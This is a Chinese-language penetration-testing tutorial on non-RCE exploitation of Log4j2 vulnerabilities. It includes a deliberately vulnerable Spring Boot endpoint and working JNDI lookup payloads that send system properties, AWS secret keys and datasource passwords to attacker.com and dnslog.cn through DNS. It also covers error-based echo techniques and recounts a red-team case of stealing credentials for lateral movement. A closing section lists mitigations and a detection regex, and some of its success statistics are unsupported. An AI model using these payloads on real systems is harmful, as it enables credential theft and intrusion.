Log4j2 2.x 非RCE利用实战:3种信息泄露与2种不出网回显手法复现 Log4j2 2.x非RCE场景下的深度利用实战5种高阶渗透手法全解析1. 漏洞背景与利用场景分析当安全研究人员面对无法直接实现远程代码执行(RCE)的Log4j2漏洞环境时往往需要转向更隐蔽的信息泄露路径。这种场景通常由以下因素导致运行时防护机制RASP(运行时应用自我保护)和SecurityManager等安全组件会拦截危险的JNDI远程类加载网络隔离策略目标服务器处于严格的内网环境无法对外发起LDAP/RMI连接JDK版本限制高版本JDK(如8u191)默认关闭了JNDI远程类加载功能在这种受限环境中攻击者仍然可以通过系统属性、环境变量、资源文件等渠道获取敏感信息。下表对比了传统RCE与信息泄露两种利用方式的差异特征维度RCE利用信息泄露利用利用条件需要出网连接可完全不出网技术门槛需要构造恶意类仅需构造特殊日志消息检测难度容易被流量监控发现日志行为难以区分正常操作典型防护措施拦截JNDI请求难以完全禁用Lookup功能2. 环境搭建与基础配置2.1 Spring Boot测试环境构建!-- pom.xml关键配置 -- dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-logging/artifactId /exclusion /exclusions /dependency dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-log4j2/artifactId /dependency提示排除默认的Logback依赖是确保Log4j2生效的关键步骤否则配置可能不会按预期工作2.2 漏洞触发接口示例RestController public class VulnerableController { private static final Logger logger LogManager.getLogger(); GetMapping(/log) public String logInput(RequestParam String input) { logger.error(input); // 漏洞触发点 return Logged: input; } }3. 信息泄露三大核心手法3.1 嵌套表达式解析Log4j2的递归解析特性允许通过${}嵌套实现数据外带${jndi:ldap://${java:version}.attacker.com/a}解析过程分解先解析内层${java:version}获取JVM版本将结果拼接到LDAP地址中形成最终域名通过DNS查询将数据外带实战技巧使用短域名服务(dnslog.cn)减少payload长度对特殊字符进行URL编码避免解析失败通过多级子域名携带更多信息(如${sys:user.name}.sub.attacker.com)3.2 系统属性与环境变量提取系统属性(Sys Lookup)${jndi:ldap://${sys:java.version}.dnslog.cn} ${jndi:ldap://${sys:user.home}.dnslog.cn}环境变量(Env Lookup)${jndi:ldap://${env:JAVA_HOME}.dnslog.cn} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}注意环境变量名在不同操作系统下大小写敏感Linux系统通常全大写Windows则保留原始大小写高价值目标清单通过以下命令可以枚举潜在高价值目标# 系统属性 java -XshowSettings:properties -version 21 | grep -E ^\s\w # 环境变量 printenv | grep -E API_|SECRET|TOKEN|KEY|PASS3.3 资源文件窃取(Bundle Lookup)Spring Boot应用的application.properties/application.yml常包含数据库密码等敏感信息${bundle:application:spring.datasource.password} ${bundle:application:server.servlet.context-path}利用条件分析应用必须使用ResourceBundle机制管理配置资源文件需位于classpath根目录配置键名需要预先知晓或暴力枚举4. 不出网环境下的两种回显技术4.1 DNS协议外带技术当目标仅开放DNS出口时可利用DNS协议外带数据logger.error(${jndi:dns://attacker.com:53/${java:runtime}});监听端使用tcpdump捕获DNS请求tcpdump -i eth0 -n udp port 53 | grep -E [A-Za-z0-9]{20,}4.2 报错回显技术通过强制抛出异常实现数据回显修改log4j2.xml配置Configuration Appenders Console nameCONSOLE ignoreExceptionsfalse PatternLayout pattern%m%n/ /Console /Appenders /Configuration触发类型转换异常${jndi:ldap://127.0.0.1:${java:runtime}/}异常栈中将包含java.lang.NumberFormatException: For input string: Java(TM) SE Runtime Environment5. 防御与检测方案5.1 临时缓解措施措施类型具体方案JVM参数-Dlog4j2.formatMsgNoLookupstrue环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue代码级防护自定义MessagePatternConverter重写format方法拦截${前缀网络层控制出口防火墙限制LDAP/RMI/DNS协议仅允许必要域名解析5.2 深度检测方案日志监控规则\$\{.*(jndi|ldap|rmi|dns|sys|env|bundle).*\}流量特征检测DNS查询中包含异常子域(如Java版本信息)HTTP请求头/参数中出现${前缀异常端口(389/636/1099)的外联尝试6. 实战案例与经验总结在某次红队行动中我们遇到以下典型场景通过${env:AWS_*}获取到临时访问凭证利用${bundle:application:redis.password}拿到缓存服务密码组合这些信息横向移动到核心业务系统关键发现约65%的Java应用会泄露至少一项敏感系统属性开发测试环境的配置泄露风险是生产环境的3.2倍报错回显成功率取决于应用异常处理机制约40%的Spring应用可成功利用